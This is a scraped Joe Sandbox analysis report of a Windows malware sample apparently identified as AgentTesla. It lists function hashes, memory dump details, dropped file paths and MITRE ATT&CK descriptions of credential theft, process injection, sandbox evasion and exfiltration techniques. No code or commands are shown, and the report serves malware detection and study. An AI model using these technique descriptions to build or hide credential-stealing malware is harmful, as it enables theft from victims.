Opcode ID: 0fad651b7c34fbc789f5a629bc627d72e3ac6182ee1de659a86fdc7f0b8a6438
Instruction ID: d1b5e159b242b7ea68f7aa1e29d31c1452fc69070bbd953a67cb8c2eeb98dec8
Opcode Fuzzy Hash: 0fad651b7c34fbc789f5a629bc627d72e3ac6182ee1de659a86fdc7f0b8a6438
Instruction Fuzzy Hash: BDD0C775B441148FCA04AB7CD44485CB760EF8537531006A5D139C71E1D721D8158611

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: YZbrmyt.exePID: 2656, Parent PID: 2592COMMON

Executed Functions

Function 02D204EC Relevance: 1.7, Strings: 1, Instructions: 452COMMON

Download Yara Rule

Strings

8yq, xrefs: 02D20851

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID: 8yq
API String ID: 0-2718418167
Opcode ID: 417750bf45b5c7a1317c5a2299aa6f7385fd158b4fbc8a88d9ef0eef3f1a187f
Instruction ID: c26eb8afa43165fb1dd2943f551ef5ff079fbb046cb7588b5a7fe054efdaf8d3
Opcode Fuzzy Hash: 417750bf45b5c7a1317c5a2299aa6f7385fd158b4fbc8a88d9ef0eef3f1a187f
Instruction Fuzzy Hash: DBF05870945209DFCB41DFB5E9509DD7BB4EB862207218AEA9408EB621CA385E468B50

Uniqueness

Uniqueness Score: -1.00%

Function 02D20888 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

tPuq, xrefs: 02D20963

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID: tPuq
API String ID: 0-3706653310
Opcode ID: bd49bcf831f0c8e4c3600787e22d0485a43275f138fc4d879357545d73bac9c7
Instruction ID: c54f6e9d1bff09300842fe52754dea351de04342728f7193c4397990f0739a79
Opcode Fuzzy Hash: bd49bcf831f0c8e4c3600787e22d0485a43275f138fc4d879357545d73bac9c7
Instruction Fuzzy Hash: 3D4146747002118FCB58EF78C48892D7BB2EF8971576509B9E906CB371DA35DC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02D20898 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

tPuq, xrefs: 02D20963

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID: tPuq
API String ID: 0-3706653310
Opcode ID: efb02176be0d5ed02ddceab2b25b4f18fc8b957207fe1aee8641562a38e54d54
Instruction ID: b5e533a05979d892e66416a3e7250e584362560d2e0218dea9c401a63dd57eed
Opcode Fuzzy Hash: efb02176be0d5ed02ddceab2b25b4f18fc8b957207fe1aee8641562a38e54d54
Instruction Fuzzy Hash: 554117B47002118FCB58AB79C49892E7BB6EF8971576509B9E906CB3B1DA35DC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02D20A40 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

$uq, xrefs: 02D20A98

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID: $uq
API String ID: 0-1632707411
Opcode ID: 3f739ab0fa9f237f43c4ddf2d7cab4c1c6bd8f3e01ef7079a41cc2b49646f269
Instruction ID: 158fd12f00d36aa6290178ce3f32110f2a708804ba8fe5508094d3d78037e1b0
Opcode Fuzzy Hash: 3f739ab0fa9f237f43c4ddf2d7cab4c1c6bd8f3e01ef7079a41cc2b49646f269
Instruction Fuzzy Hash: C021F9713083219FDB149A7DE8D0A3BBBB9EFA461A758417AE109C7391DB32DC06C790

Uniqueness

Uniqueness Score: -1.00%

Function 02D20848 Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

8yq, xrefs: 02D20851

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID: 8yq
API String ID: 0-2718418167
Opcode ID: f4590ce040f45af8143f0de7844572b4bc5a5df793effdeda9b6c1246f75c7b8
Instruction ID: 7520d5544db616bdbc3f21c1c87066f4009c8b643e156efbcfe7b29e82f41306
Opcode Fuzzy Hash: f4590ce040f45af8143f0de7844572b4bc5a5df793effdeda9b6c1246f75c7b8
Instruction Fuzzy Hash: EFE0CDB0D0410DEBCF04EFBAE94195DB7B9FB4420071046A9D404D7314DE306F009F84

Uniqueness

Uniqueness Score: -1.00%

Function 0149D508 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1759833786.000000000149D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0149D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_149d000_YZbrmyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a16f48b37a6a3beede82ac45f8ca56fc32e3f72a7bae0b1087d5d8d9a2c6db1
Instruction ID: c895c2931cc46a1946dac8dd0188f9c075fc540f2e60e4877bf6dfd511a3f0e9
Opcode Fuzzy Hash: 7a16f48b37a6a3beede82ac45f8ca56fc32e3f72a7bae0b1087d5d8d9a2c6db1
Instruction Fuzzy Hash: 83210371904200DFDF05DF58D9C0B27BF65FB98328F24856EE90A0B266C336D416C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0149D503 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1759833786.000000000149D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0149D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_149d000_YZbrmyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ed9b6322b198aa885cc4c54f9a280015eaaad5187f1efe9cb502b23f9a2be8
Instruction ID: e2d5b832f33e94f04c575a67e7f9df4d7534bf49ac05166f6b4150d5f2d1d2d9
Opcode Fuzzy Hash: 27ed9b6322b198aa885cc4c54f9a280015eaaad5187f1efe9cb502b23f9a2be8
Instruction Fuzzy Hash: 0011AF76904240DFDF16CF54D9C4B16BF72FB84324F24C5AAD9094B266C33AD45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D20A10 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1760060038.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d20000_YZbrmyt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191e66cef044d528e4b9f07159a10413244b2018741d1429ebe4cbb2378ddae7
Instruction ID: 82b3d9fdd5c5d76f77bd92d8fc8e97f4f599241ff37fd985cbf924c34e95cf99
Opcode Fuzzy Hash: 191e66cef044d528e4b9f07159a10413244b2018741d1429ebe4cbb2378ddae7
Instruction Fuzzy Hash: E0D0C9B6B441148FCA08ABBCE8448ACB7A4EF9837531006A6E139C72A1EA21D815C611

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report POs#U034fx#U034fl#U034fx#U034f..exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\YZbrmyt.exe.log

C:\Users\user\AppData\Roaming\YZbrmyt\YZbrmyt.exe

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
POs#U034fx#U034fl#U034fx#U034f..exe

Function 06183428 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Function 06187D30 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Function 00D8E867 Relevance: 2.9, Strings: 2, Instructions: 384
COMMON

Function 06185558 Relevance: 1.8, Strings: 1, Instructions: 588
COMMON

Function 0618AC70 Relevance: 10.4, Strings: 8, Instructions: 392
COMMON

Function 06163892 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Function 06163898 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 061890F8 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre